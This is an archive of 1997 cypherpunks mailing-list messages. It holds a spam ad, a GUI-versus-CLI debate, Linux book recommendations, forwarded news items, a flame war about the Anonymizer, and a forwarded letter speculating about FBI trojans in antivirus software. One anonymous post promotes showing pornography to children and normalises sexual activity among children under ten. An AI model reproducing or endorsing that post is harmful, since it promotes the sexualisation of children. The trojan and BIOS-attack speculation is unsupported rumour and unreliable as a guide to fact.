To: <cypherpunks@toad.com>
Subject: Season's Greetings from HOLLYWOOD...................................
Message-ID: <61558257_52849825>
MIME-Version: 1.0
Content-Type: text/plain





                       Let Your
                   Creative Efforts
                       for '97
                    Compound into
                  Prosperity for '98


         An Award Winning Team of Hollywood
               Producers and Directors
              is pleased to Invite the
             Submission of Your Entries
                         in
          Computer Animation, Photography
                         and
                    Illustration
                       for the
                World (WWW) Premiere
                       of the
       1997 Annual International "CAPI" Awards



        Be included in the "CAPI" Awards First
            CD-ROM "Library of Excellence"
                  Distributed to Top
     Motion Picture Studios...Television Networks...
              and Advertising Agencies
         in Hollywood and around the World!




PARTICIPATE in the World Wide Web's first competition organized
by Top Hollywood Producers dedicated to discovering and honoring
the very best new talent in the world...directly throughout the 
Internet!


ENTRIES ARE JUDGED by an International Award-Winning Team of 
Industry Professionals currently participating in some of 
Hollywood's most prestigious Entertainment and Communications
Productions! 


AWARDS ARE PRESENTED for the excellence and merit of each 
individual entry.  ENTRANTS DO NOT COMPETE AGAINST EACH OTHER!  
There are equal opportunities for multiple GOLD, SILVER, and 
BRONZE "CAPI" Awards to be presented in all categories, to 
numerous qualifying entrants! 


RECEIVE INTERNATIONAL RECOGNITION and publicity that can assist 
you in creating new marketing and promotional opportunities for 
your career...potentially having your work Licensed by Leading 
Producers in the Hollywood & International Entertainment and 
Communications Industries! 


 For more information visit us at: http://www.capiawards.com/ 

              Copyright 1997 "CAPI" Awards
             "CAPI" AWARDS, PUBLIC RELATIONS
       11247 Acama Ave., Studio City, CA, USA 91602




Our research indicates the preceeding information is of 
                  interest to you. 
  If you prefer not to be on this private mailing list, 
   please let us know and you will be promptly removed.


Email:<A HREF="mailto:CAPIMAIL@AOL.COM> with Subject: REMOVE








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 30 Dec 1997 13:19:37 +0800
To: cypherpunks@Algebra.COM
Subject: porno is good for kids
Message-ID: <199712300505.GAA25262@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Pornography is good for children! It helps them acknowledge
the reality of sexual identity in the world of human beings.

Most of the people I knew even into high school had sex with
their friends before they were ten. Lots and lots of people --
meaning a lot -- took lots and lots of LSD. The world was good
because everyone was going someplace peaceful eventually and
neopaganism's many useful features brought widespread happiness.
We tracked down Playboys and Playgirls too and looked at them
and wondered at the novelty of the experience.

Tell children about the penis and the vagina and how they can
make you shiver and convulse with pleasure when you rub them
together! Tell them about the forgetfulness of being which comes
with orgasm. Sex is a wonderful part of life. Don't ruin it for
children with fear and associations of violence and evil.

GEEK NAKED






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Wed, 31 Dec 1997 00:01:45 +0800
To: cypherpunks@cyberpass.net
Subject: RSA with 5.x
Message-ID: <Chameleon.883490262.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone know where there is a copy of pgp5x available for ftp that can 
generate RSA keys?

===
E-mail: amp@pobox.com
Date: 12/30/97
Time: 08:56:33
Visit me at http://www.pobox.com/~amp

     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

Have you seen  http://www.public-action.com/SkyWriter/WacoMuseum
===






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 23:00:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Word Processors and GUIs (fwd)
Message-ID: <199712301522.JAA05860@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Tue, 30 Dec 97 03:40:31 -0600
> Subject: Re: Word Processors and GUIs

> While some standardization is good it is not the be all to end all. While
> standardization of cut, paste, open, close, print makes perfect sense most
> commands do not fall into this catagory.

Perhaps not, but 90% of what people *do* does fall into those operations.
Ever hear of macro's? Ever use a Sun where the menu pull-down pops up under
the pointer when you click a button? Both of these will increase the use of
a GUI to way more than a straight CLI interface (and I type at nearly 80
words a minute with a slightly crippled L. hand). I suggest you get a GUI
macro utility and something like PopUpMenu on the Amiga that makes the
menu's appear both at the command bar *and* under the mouse. Using this
technique I can execute a file save via GUI in about 1/3 the time I can in
the CLI.

> The inherent benefit of this
> standardization decrease the more specialized an application becomes. With
> a program like Autocad or MathCad or even Lotus 1-2-3 where one has a
> steep learning curve of specialized commands the benefits of standardized
> basic commands boarders on insignificant.

You are confusing learning the commands with learning the 'model' that the
program impliments. The learning curve comes from the user learning the
model the programmer(s) had in their head(s) while writing the program and
learning to solve problems with the black box functions the
programmer/developer uses to solve those problems.

> Once we get past the standardization issue to the one of textmode vs GUI
> (which was the topic of my original post) I doubt that one can make the
> case that a draftsman running a graphics program under a textmode OS is
> less efficient as his counterpart who is saddled with a bloated GUI OS. In

I use both POVRay as well as LightWave, one text and one GUI. The GUI
program is *much* easier to develop 3d renderings in because things like
boundary violations, control path anomolies, and such are *much* easier to
see and deal with in the GUI interface. I also use Scientific Notebook, I
can't imagine doing the same sort of things I do with that GUI
text-processor with say a textual Postscript or Tex program. Just try making
a nice nifty graphical output using Postscript (say) using a GUI and a
editor working in Postscript directly.

> fact if both are operating on the same hardware I would venture a guess
> that the textmode user will be more efficient by the simple fact that his
> resources are not being consumed by the GUI.

This assumption is *very* dependant upon the model of the software. It
depends upon whether the process takes the command sequence and executes it
in parallel or in series with the command entry sequence. In other words, if
the program renders while you are entering new commands will obviously be
much slower than a program that takes the sequence of commands in toto and
*then* executes them. The efficiency to a large part depends upon the model
of the software, not the particular command and control interface.

If you expect to execute processes in parallel (ie edit & execute in
parallel) then a GUI is much quicker (not taking into account the added
overhead of the GUI, which in and of itself is not a condemnation of the GUI
but rather the poor processors we have to run them on) because you can see
you errors as they occur and it keeps them from propogating through the
design or use process. If sequential is your goal then it really doesn't
matter because in both cases (ie GUI v CLI) becuase while it's executing
your commands you can't do anything anyway.

Of course, these models *only* apply if we are single-tasking programs. If
we allow multi-tasking then GUI wins hands down because graphical
information content is *much* higher than CLI in every case. This allows us
to display more information on a GUI than a CLI.

Personaly, this is a non-argument from the technical perspective. It is more
indicative of the mental flexibility of the holders of the various
positions. I wouldn't use an OS that wouldn't let me do both at the same
time (and I don't) and use them as I need them.

> The same case can be made for the accounting staff using spreadsheets or
> the secretaries typing letters. I'll take an accounting department using
> Lotus 1-2-3 3.x up against a similar group running MS Office and Win95/NT
> any day of the week. I'll get the same work done faster and *cheaper*.

Excuse me but the user interface of your example, 123, *has* GUI elements
even in a text mode display.

> This brings up another issue of decreased performance with the GUI's. It
> is the notion that every document must be type-set. I can't even start to
> imagine the millions of man hours wasted in the office because every
> insignificant memo, report, and letter has to be formatted "just right"

This is a condemnation of human nature, not GUI's. I use a plain old text
editor when I'm making simple edits. A perfect example is from work where we
recently have taken on a group of office 'helpers' to take care of the more
mundane office needs. They discovered they could add graphics and
attachments to their email and ever since we have suffered from the abuse,
emails with a dozen attachments of pretty pictures that I have to
specificaly work through. Considering I get somewhere in the neighborhood of
500 emails a day that can be a real time sink (thank god for procmail!).
But whattcha gonna do, shoot 'em?

> Another contention I have with the GUI's is the use of icons. One of the
> most misused and time wasting "features" of the GUI's. It makes absolutely
> no sense for someone who is working on the keyboard to stop what they are
> doing, go over to the mouse, and then point and click to execute a
> command.

Then quit using the mouse on the wrong damn side of the keyboard. If you're
right handed the mouse goes on the left, not the right. That way you don't
have to quit typing to deal with the GUI. It takes a couple of days to over
come the 'handedness' that is built into our brain, but the long term
benefit is that your wrist load goes *way* down on the right *and* your left
hand fine motor control improves significantly. If you happen to be left
handed then you need a reversed keyboard with the return key and such on the
L. and the mouse on the right.

Try it for 3 days - you'll like it.

> Well I guess I will rap this up with a final note. With the GUI OS's (and
> the applications that run on them) as size and complexity increases
> performance and reliability decreases. Without a doubt I can get more work
> done on cheaper hardware running *nix or os/2 using only text mode
> applications than I can running a GUI with it's associated bloated
> applications.

That's interesting, I use Linux (x86 & PPC) , WinNT, AmigaDos, AIX, & Solaris
at home on my personal machines (11 of them not counting the TI explorer,
, Atari 800, SX-64 and C-128) and don't find a significant difference in
reliability. They all stay up for weeks and weeks.

OS/2 is a sucky os, it's unstable and calling it reliable is a joke. It's
user interface is inconsistent, it's task swapper is weird and stalls at
strange times for no apparent reason, etc., etc. Note that this is a personal
opinion and not a function of my working for IBM and being required to use
OS/2 everyday (I don't like that requirement either). It is a function of my
using OS/2 since the 1.0 days. It's interesting to note that IBM is moving
OS/2 from the general OS area to specialized applications...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 23:13:20 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: You are all a bunch of cypherpunks (fwd)
Message-ID: <199712301533.JAA05918@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 30 Dec 1997 03:39:05 -0500
> From: David Miller <dm0@avana.net>
> Subject: You are all a bunch of cypherpunks

> 2)  I want to know anyone who knows anything about full-duplex soundcard
>     programming under Linux.  Internet Telephony is fast opon us, do you
> want
>     to subscribe or design?  This is duplex Nautilus II.  Get in gear.

O'Reilly has a new book out for Linux relating to writing device drivers. 
You also want a copy of their Linux multimedia book. I don't have the device
driver book (it hasn't come in yet), but:

Linux Multimedia Guide
Jeff Tranter
ISBN 1-56592-219-0
$32.95

You might also want to peruse:

Beginning Linux Programming
N. Matthew & R. Stones
ISBN 1-874416-68-0
$36.95

Inside Linux
Randolph Bentson
ISBN 0-916151-89-1
(mine was $22.00, no price shown)

Linux Programming
P. Volkerding, E. Foster-Johnson, K. Reichard
ISBN 1-55828-507-5
$39.95

Linux Kernel Internals
M. Beck, H. Bohme, M. Dziadzka, U. Kunitz, R. Magnus, D. Verworner
ISBN 0-201-87741-4
(mine was $40.75, no price shown, it's an import from Germany)

Also:

The Design of the Unix Operating System
M.J. Bach
ISBN 0-13-201799-7
(no price on book, this is the book Linus used to design the kernel)

and finaly:

Interprocess Communications in Unix: The nooks & crannies
J.S. Gray
ISBN 0-13-186891-8
(no price on book, $40?)

Hope that helps.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 23:18:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Strange Way To Leak Inofrmation: Contents Of Discovery Channel Show On Non-Lethals (fwd)
Message-ID: <199712301538.JAA05974@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From stugreen@bga.com Tue Dec 30 02:12:37 1997
Sender: root@coney.lsd-labs.com
Message-ID: <34A8A83D.FBFEDD2F@bga.com>
Date: Tue, 30 Dec 1997 01:52:29 -0600
From: Stu Green <stugreen@bga.com>
X-Mailer: Mozilla 4.03 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: ravage@ssz.com
Subject: Strange Way To Leak Inofrmation: Contents Of Discovery Channel Show On Non-Lethals
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jim,
I left the tube on Discovery while testing some software tonight.  In
the background I heard something about attacking computers so I started
paying attention and to my warped mind the Fed was trying to leak some
dis-information (or advertise some dirty tricks already pulled).  In the
hype there were some interesting things mentions that folks ought be
aware of.  They gave a 'man in the middle' scenario played out in full
on the screen between a "computer security expert" and a group of
transactions between a bank in acountry "plagued with drug production
and cartels" and a bank in Switzerland.  The third world bank and the
Swiss bank were using PGP for encryption.  The narrator dumped an aside
- the government was supplying the "computer security expert" with "data
gathered over time", which consisted of intercepts of the initial text
messages passing the PGP keys back and forth (PGP 2.4 flashed on one of
the screens, so we ain't talking about yesterday here).  This amounts to
an acknowledgement that one of the three-letter groups is playing
man-in-the -middle already and on a grand scale (not that this is new
news, but its nice having the speculation authenticated, even if in a
manner that leaves the conclusion to the viewer's deductive processes).
The last computer related portion involved the FBI planting trojan
horses through anti-virus software.  they flash a couple of screens  -
one was definately Norton Anit-virus for 95 and the other recognizible
one was M$AV.  I think the one I couldn't pin is Dr. Solomon's, but it
could easily be McAfee.  Doesn't matter - if one is popped, they all
are.  Back in June I built a K6 for David that had some real
pecularities - the sound card went into outer space and set it's
interupt to 14 and wouldn't let go.  When I started to try to figure out
what was going on I figured that something wrote to the bios, cause the
symptoms were so werid.  So I hacked a little thing up to go in and
rewrite the bios'sNVRAM.  It worked witht the motherboard's jumpers set
to allow bios flashing and failed when the pins were set to block
flashing.  But when I use debug in a very dirty program I was able to
jack with the wrteable ram, even with flashing diaabled, matter of fact
it was so damned simple I wrote the motherboard manufacturer to show how
it was broken.  If ASUS is prone to this kind of dumb attack, then I
figure other boards are probably more vulnerable and the government's
got a pile of exploits to dick with any machine (running windows, MacOS
or NT) with their trojan horses and bios-level attacks.  I could have
sworn that the stuff I saw on David's motherboard came strait from
Bulgaria.  It looked like one of the best hacks I ever saw - everytime I
changed values in the bios and rebooted into 95, those values were reset
to the original values right after post ran memory checking.  But if I
booted into Linux it did not  effect anything (it's nice having all the
system specific onformation in /proc, without having to write a program
to extract it from kmem).  So, from what I can conclude, there maybe
reason to look over the shoulder a little more diligently cause
somebody's out there fucking around.
In that vain, I bagged some fool trying to start a mail flood from a
system he broke into ( a customer of mine that knew he had been
hacked).  It kind of blew my mind, here this guy spent hours cracking
around, found his way into the mail server (which was an NT machine)
just to blast dumb & lame porno all over the place.  (Happened to me in
March - I left SATAN running at work over a weekend and as soon as I got
on the windows box in my office a flood of shit started going out to the
last person I mailed, which luckily was Jep, it was the samething lame
porn and a ton of it, but I left my ass wide opened by leaving SATAN's
fat neon sign on and not isolating the work station I was running SATAN
on from my other machine, at least I isolated myself from the rest of
Arrowsmith's network (which was the worst setup I've ever seen -  but
that's another story)).
Hope Reef didn't get too traumatized by the Federales.  Maybe you could
sue the government for the stress induction as Reef's guardian??

Catch you soon and if not before - Happy New Years

Regards,
Stu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 23:38:46 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: China clamps down on Internet [CNN]
Message-ID: <199712301559.JAA06073@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                      CHINA CLAMPS NEW CONTROLS ON INTERNET
>                                        
>      Web posted at: 3:13 a.m. EST (0813 GMT)
>      
>      BEIJING (Reuters) -- China clamped sweeping new controls on the
>      Internet on Tuesday, warning that the network was being used to leak
>      state secrets and to spread "harmful information."
>      
>      Regulations unveiled by Zhu Entao, Assistant Minister for Public
>      Security, cover a wide range of crimes, including leaking state
>      secrets, political subversion and spreading pornography and
>      violence.
>      
>      The rules are also designed to protect against computer hacking,
>      viruses and other computer-related crime.
>      
>      They call for unspecified "criminal punishments" and fines of up to
>      15,000 yuan ($1,800) for Internet providers and users who violate
>      the rules -- both individuals and business organisations.

[text deleted]

>      The regulations explicitly cover information circulating from Hong
>      Kong, Macau and Taiwan.

[text deleted]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 31 Dec 1997 14:14:59 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: New hi-tech dog tags use encryption?... [CNN]
In-Reply-To: <199712280543.XAA00435@einstein.ssz.com>
Message-ID: <Pine.BSF.3.91.971230105934.12561A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 27 Dec 1997, Jim Choate wrote:

> Forwarded message:
> 
> >                     PENTAGON INTRODUCING HIGH-TECH DOG TAGS

> 
> >      "We have to be very concerned about how we protect the information
> >      -- in who's hands would it be, should it be encrypted, could the
> >      encryption be broken, what would happen if it ended up in the wrong
> >      hands," says Defense Secretary William Cohen.
> 
> [text deleted]
> 
> >      If issues of cost and privacy can be solved, the old metal dog tags
> >      seem certain to become just another piece of military history.
> 

I doubt the old metal ones will go away - smartcards have an annoying 
tendancy to melt when your aircraft suffers traumatic deceleration.

Two competing cards were demo'd at JWID a few years back, so this isn't a 
new concept. One way to keep them from losing your vacination records ...

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 31 Dec 1997 01:01:51 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Congressional pensions increase... [CNN] (fwd)
Message-ID: <199712301723.LAA06394@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Tue Dec 30 11:23:04 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712301723.LAA06373@einstein.ssz.com>
Subject: Congressional pensions increase... [CNN]
To: users@ssz.com (SSZ User Mail List)
Date: Tue, 30 Dec 1997 11:23:03 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2267      


Forwarded message:

> Congressional Pensions Can Be Hefty
> 
>    By ANICK JESDANUN
>    Associated Press Writer
>    
>    WASHINGTON (AP) A healthy pension plan that members of Congress
>    created for themselves will let some retiring lawmakers collect
>    roughly $100,000 a year for life.
>    
>    Although most members are enrolled in the same retirement plans as
>    other federal employees, lawmakers accrue benefits at a faster rate.
>    Plus, congressional pensions are adjusted each year for inflation,
>    setting them apart from most retirement plans in the private sector.
>    
>    "It's one of the most outrageous perks congressmen have," said David
>    Keating, vice president for National Taxpayers Union, a conservative
>    group that advocates less government spending.
>    
>    According to the taxpayers' group, which calculated congressional
>    pension estimates for retiring lawmakers at the request of The
>    Associated Press, some lawmakers will be going home with pensions of
>    about five times the national average.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 31 Dec 1997 01:01:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Govt. employees get pay raise... [CNN] (fwd)
Message-ID: <199712301723.LAA06416@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Tue Dec 30 11:21:57 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712301721.LAA06351@einstein.ssz.com>
Subject: Govt. employees get pay raise... [CNN]
To: users@ssz.com (SSZ User Mail List)
Date: Tue, 30 Dec 1997 11:21:54 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2003      


Forwarded message:

> Federal Workers Ring In New Year With Pay Raise
> 
>    [INLINE]
>    
>    WASHINGTON (AllPolitics, Dec. 30 -- Government workers will enjoy on
>    average a 2.8 percent increase in their pay checks starting New Year's
>    day as President Bill Clinton Monday issued an executive order
>    authorizing the federal pay raise.
>    
>    The order grants members of the military a straight 2.8 percent raise.
>    
>    
>    Civilian employees get 2.3 percent, plus a "locality" adjustment that
>    varies depending on geographic location. White House spokesman Joe
>    Lockhart said this adjustment averages at 0.5 percent.
>    
>    The vice president, federal judges and members of Congress will also
>    get a 2.3 percent increase in salary, but with no adjustment.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 31 Dec 1997 01:02:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: IBM breaks disk-drive bottlenecks... [CNN] (fwd)
Message-ID: <199712301723.LAA06447@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Tue Dec 30 11:20:36 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712301720.LAA06321@einstein.ssz.com>
Subject: IBM breaks disk-drive bottlenecks... [CNN]
To: users@ssz.com (SSZ User Mail List)
Date: Tue, 30 Dec 1997 11:20:35 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1988      


Forwarded message:

>    New technology stores 11.6 billion bits of data on one square inch of
>    disk
>    
>    December 30, 1997: 10:49 a.m. ET
>    
>    More related sites... NEW YORK (CNNfn) - IBM announced Tuesday that it
>    has broken a major barrier in magnetic disk-drive storage density
>    which could eventually lead to ultra-thin computers.
>    [INLINE] New developments from the computer company will allow 11.6
>    billion bits of data per square inch to be stored on a disk drive,
>    enabling more information to be stored in the same amount of space.
>    [INLINE] The new technology will first appear in products in the year
>    2001. It will be used initially in 2.5 inch, non-removable disk
>    drives, which are mainly featured in portable computers.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 31 Dec 1997 01:20:18 +0800
To: cypherpunks@toad.com
Subject: Re: The Anonymizer and IRC
In-Reply-To: <199712301551.QAA29333@basement.replay.com>
Message-ID: <J2aJie67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>
>
> On Sun, 28 Dec 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > nobody@REPLAY.COM (Anonymous) writes:
> >
> > > The Anonymizer does in fact only provide restricted access by http and NO
> > > IRC.
> > > For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi form
> > > I could understand that they block sites that explicitly request to be
> > > blocked to prevent abuse.
> > > But what if I want to make a mailto.cgi or IRC script available by http.
> > > Should people be disallowed from accessing this through The Anonymizer
> > > even if I do not request it?
> > > It should at least be possible to allow access to such scripts for The
> > > paid accounts.
> > > If they keep logs in case of a U. S. law violation, I see no problem of
> > > liability arosing from such access.
> > > They have also restricted their shell access for which you pay US $ 7 per
> > > moth to IRC.
> > > Does that sound more reasonable than blocking the nntp port?
> > > Does anyone know other ISPs who provide privacy and do not block
> > > abitrarily without _prior request_ from the site in question?
> >
> > I think it's been pretty well established on this mailing list than
> > Lance Cottrell is no friend of privacy and free speech.
> Sorry, "Dr." Vulis. I do not intend to provide you with ammunition in
> your flame war.
> Just for the record, I think that Lance Cottrell does a fairly good work
> to further freedom of speech while I have seen NO contribution from you.

For those who didn't get it: the original complaint was written by one of the
many dissatisfied infonex customers, while the "anonymous" flame was
written by one of the many C2Net/parekh/cottrell/medusa shills.

Do not be confused by their using an anonymous remailer - they're an
enemy of anonymity, privacy, and free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Wed, 31 Dec 1997 02:14:31 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Word Processors and GUIs
Message-ID: <2328C77FF9F2D011AE970000F84104A7AB8382@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



>The real boom in productivity has to do with users not having to
memorize
>various command sequences for various programs.
This is why I started using Windows 3.0 along with the MKS Toolkit Shell
back when.  Sometimes a CLI interface is the right tool -- sometimes a
GUI is the right tool.  It especially seems the case that graphical
activities (like word processing (vs. text editing)) gain much from a
GUI interface.  I also have several CLI utilities for manipulating GUI
objects (believe it or not, you can't tell Exchange Mail Client to use
'>' (or any other) as the reply character).

Nowadays, I run NT 4.0 with an MKS Toolkit Korn Shell loaded at startup
as one of my apps.  (Microsoft missed a chance when they didn't license
MKS Toolkit for NT 4.0 and Windows 95.)

>The effect of this all is profound. It means that a manager or
secretary or
>whatever doesn't need to write down a bunch of funny commands for
Wordstar,
>or Emacs, or Autocad...he or she can "muddle through" just by going to
the
>"File" menu item to open files, save them, make copies, etc. Or to the
>"Edit" menu item to make changes, cut and paste, alter fonts, whatever.
The "ctrl-alt-meta-cokebottle" syndrome was a major pain, one I was glad
to separate myself from.

>(I started out on a Data General Nova, got a Proc Tech Sol as my first
PC,
>[...]
(I started on Purdue MACE (a CDC 6000 Kronos derivative) with punched
cards, quickly graduated to Purdue MESA TTY access to MACE, then was one
of the first Unix users at Purdue around 1978.  I've created programs
for MACE, Unix, CP/M, MS-DOS, WicatOS, Windows 3.1/95/NT, VAX/VMS, and
Data General AOS.)

>I started typing all my own technical papers into my own IBM PC back in
'83
>[...]
I started typing my own papers on Unix Version 6 in 1979, using NROFF.
Probably why I like styles in Word so much...

>>I would take a good multi-threaded, multi-tasking, text mode system
over
>>the drivile that keeps comming out of Redmond, WA. anyday.
Although Windows NT 4.0 is around the quality of Unix circa 1981 or so,
that still makes it much superior to any other Microsoft OS.  With the
MKS Toolkit implementation of the Korn Shell + other Unix utilities, and
a recent version of Perl (5.004 or later), I don't feel like I'm
underpowered on NT 4.0 relative to when I work on a Sun under Solaris
2.5.

>Good writing comes from good writers, not from word processing
programs.
>Those who can't put a decent argument together will not find solace in
some
>"good multi-threaded, multi-tasking, text mode system."
How true.  Although the quality of Windows NT 4.0 is not up to what I
get under Solaris or HP-UX, I can use my machine as a light-duty
production server as well as a workstation.  It is good enough for me to
be able to concentrate on the hard work of creating quality prose and
programs.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 30 Dec 1997 23:55:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Anonymizer and IRC
In-Reply-To: <NBXFie30w165w@bwalk.dm.com>
Message-ID: <199712301551.QAA29333@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 28 Dec 1997, Dr.Dimitri Vulis KOTM wrote:

> nobody@REPLAY.COM (Anonymous) writes:
> 
> > The Anonymizer does in fact only provide restricted access by http and NO
> > IRC.
> > For instance, the Anonymizer blocks Dejanews, Hotmail and mailto.cgi forms.
> > I could understand that they block sites that explicitly request to be
> > blocked to prevent abuse.
> > But what if I want to make a mailto.cgi or IRC script available by http.
> > Should people be disallowed from accessing this through The Anonymizer
> > even if I do not request it?
> > It should at least be possible to allow access to such scripts for The
> > paid accounts.
> > If they keep logs in case of a U. S. law violation, I see no problem of
> > liability arosing from such access.
> > They have also restricted their shell access for which you pay US $ 7 per
> > moth to IRC.
> > Does that sound more reasonable than blocking the nntp port?
> > Does anyone know other ISPs who provide privacy and do not block
> > abitrarily without _prior request_ from the site in question?
> 
> I think it's been pretty well established on this mailing list than
> Lance Cottrell is no friend of privacy and free speech.
Sorry, "Dr." Vulis. I do not intend to provide you with ammunition in 
your flame war.
Just for the record, I think that Lance Cottrell does a fairly good work 
